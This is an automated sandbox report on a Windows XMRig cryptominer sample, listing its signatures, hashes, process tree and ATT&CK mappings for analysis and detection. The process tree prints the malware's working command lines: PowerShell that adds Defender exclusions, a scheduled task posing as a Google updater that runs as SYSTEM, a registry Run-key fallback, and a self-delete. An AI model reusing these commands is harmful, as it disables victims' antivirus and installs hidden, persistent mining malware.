Resubmissions

25-01-2024 16:55

240125-vfcyksbhgr 10

24-01-2024 17:15

240124-vstf4aecaj 10

23-01-2024 19:27

240123-x6cfvagbd9 10

23-01-2024 19:27

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240123-x584esgbd5 10

Analysis

  • max time kernel
    389s
  • max time network
    1790s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    23-01-2024 19:27

General

  • Target

    grhsghsGHswgh/Y2JYGshMHJGuGREA.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1348
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2236
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2988
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2388
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2440
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2220
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2804
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1920
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2880
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1672
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1416
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2496
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1296
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:676
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {5C61FC11-F2AE-4C90-B4A0-13CF0B3E5EEE} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1092
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1636

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Execution

        Scheduled Task/Job

        1
        T1053

        Persistence

        Scheduled Task/Job

        1
        T1053

        Privilege Escalation

        Scheduled Task/Job

        1
        T1053

        Discovery

        System Information Discovery

        1
        T1082

        Query Registry

        1
        T1012

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Libs\g.log
          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          Filesize

          7KB

          MD5

          467047ac59b7837425f75c7c5db58c4f

          SHA1

          925f5c3ca8741990b070bd337accc64d679f3ff9

          SHA256

          d7e87d7b0b2456a605335633638d91948235953c8966e241caa9da0e027d1915

          SHA512

          99a31fdce8bd6fcc4bac4b4634a6a6ac2860b2bbd854282ca457d5b01bc31e058858458e75d997a27348877201db0544ceceb3d92c02b0a8a53ae819dfdf8b92

        • \Program Files\Google\Chrome\updater.exe
          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/676-84-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-79-0x0000000000870000-0x0000000000890000-memory.dmp
          Filesize

          128KB

        • memory/676-130-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-128-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-139-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-126-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-119-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-117-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-115-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-113-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-106-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-104-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-102-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-100-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-98-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-96-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-94-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-92-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-90-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-88-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-86-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-71-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-69-0x0000000000C80000-0x0000000000CA0000-memory.dmp
          Filesize

          128KB

        • memory/676-82-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-68-0x0000000000870000-0x0000000000890000-memory.dmp
          Filesize

          128KB

        • memory/676-143-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-62-0x0000000000210000-0x0000000000230000-memory.dmp
          Filesize

          128KB

        • memory/676-141-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-63-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-73-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-75-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-76-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-78-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/676-80-0x0000000000C80000-0x0000000000CA0000-memory.dmp
          Filesize

          128KB

        • memory/676-137-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1588-50-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/1588-49-0x0000000000D10000-0x0000000000D90000-memory.dmp
          Filesize

          512KB

        • memory/1588-48-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/1588-47-0x0000000000D10000-0x0000000000D90000-memory.dmp
          Filesize

          512KB

        • memory/1588-45-0x0000000000D10000-0x0000000000D90000-memory.dmp
          Filesize

          512KB

        • memory/1588-44-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/1588-46-0x0000000000D10000-0x0000000000D90000-memory.dmp
          Filesize

          512KB

        • memory/1636-61-0x000000013FEC0000-0x00000001400D1000-memory.dmp
          Filesize

          2.1MB

        • memory/1636-43-0x000000013FEC0000-0x00000001400D1000-memory.dmp
          Filesize

          2.1MB

        • memory/1636-64-0x000000013FEC0000-0x00000001400D1000-memory.dmp
          Filesize

          2.1MB

        • memory/1672-74-0x0000000140000000-0x0000000140016000-memory.dmp
          Filesize

          88KB

        • memory/1672-70-0x0000000140000000-0x0000000140016000-memory.dmp
          Filesize

          88KB

        • memory/1920-56-0x0000000000F30000-0x0000000000FB0000-memory.dmp
          Filesize

          512KB

        • memory/1920-55-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/1920-54-0x0000000000F30000-0x0000000000FB0000-memory.dmp
          Filesize

          512KB

        • memory/1920-53-0x0000000000F30000-0x0000000000FB0000-memory.dmp
          Filesize

          512KB

        • memory/1920-52-0x0000000000F30000-0x0000000000FB0000-memory.dmp
          Filesize

          512KB

        • memory/1920-51-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/1920-57-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2236-27-0x000000013F780000-0x000000013F991000-memory.dmp
          Filesize

          2.1MB

        • memory/2236-0-0x000000013F780000-0x000000013F991000-memory.dmp
          Filesize

          2.1MB

        • memory/2236-25-0x000000013F780000-0x000000013F991000-memory.dmp
          Filesize

          2.1MB

        • memory/2768-18-0x0000000001DB0000-0x0000000001DB8000-memory.dmp
          Filesize

          32KB

        • memory/2768-22-0x00000000026C0000-0x0000000002740000-memory.dmp
          Filesize

          512KB

        • memory/2768-16-0x000000001B1D0000-0x000000001B4B2000-memory.dmp
          Filesize

          2.9MB

        • memory/2768-17-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/2768-19-0x00000000026C0000-0x0000000002740000-memory.dmp
          Filesize

          512KB

        • memory/2768-20-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/2768-21-0x00000000026C0000-0x0000000002740000-memory.dmp
          Filesize

          512KB

        • memory/2768-24-0x000007FEF48A0000-0x000007FEF523D000-memory.dmp
          Filesize

          9.6MB

        • memory/2768-23-0x00000000026C0000-0x0000000002740000-memory.dmp
          Filesize

          512KB

        • memory/2800-38-0x00000000025D0000-0x0000000002650000-memory.dmp
          Filesize

          512KB

        • memory/2800-36-0x00000000025D0000-0x0000000002650000-memory.dmp
          Filesize

          512KB

        • memory/2800-37-0x00000000025D0000-0x0000000002650000-memory.dmp
          Filesize

          512KB

        • memory/2800-39-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2800-34-0x00000000025D0000-0x0000000002650000-memory.dmp
          Filesize

          512KB

        • memory/2800-33-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2800-35-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2988-10-0x0000000002444000-0x0000000002447000-memory.dmp
          Filesize

          12KB

        • memory/2988-9-0x0000000002440000-0x00000000024C0000-memory.dmp
          Filesize

          512KB

        • memory/2988-8-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2988-7-0x000007FEF5240000-0x000007FEF5BDD000-memory.dmp
          Filesize

          9.6MB

        • memory/2988-6-0x0000000002320000-0x0000000002328000-memory.dmp
          Filesize

          32KB

        • memory/2988-5-0x000000001B150000-0x000000001B432000-memory.dmp
          Filesize

          2.9MB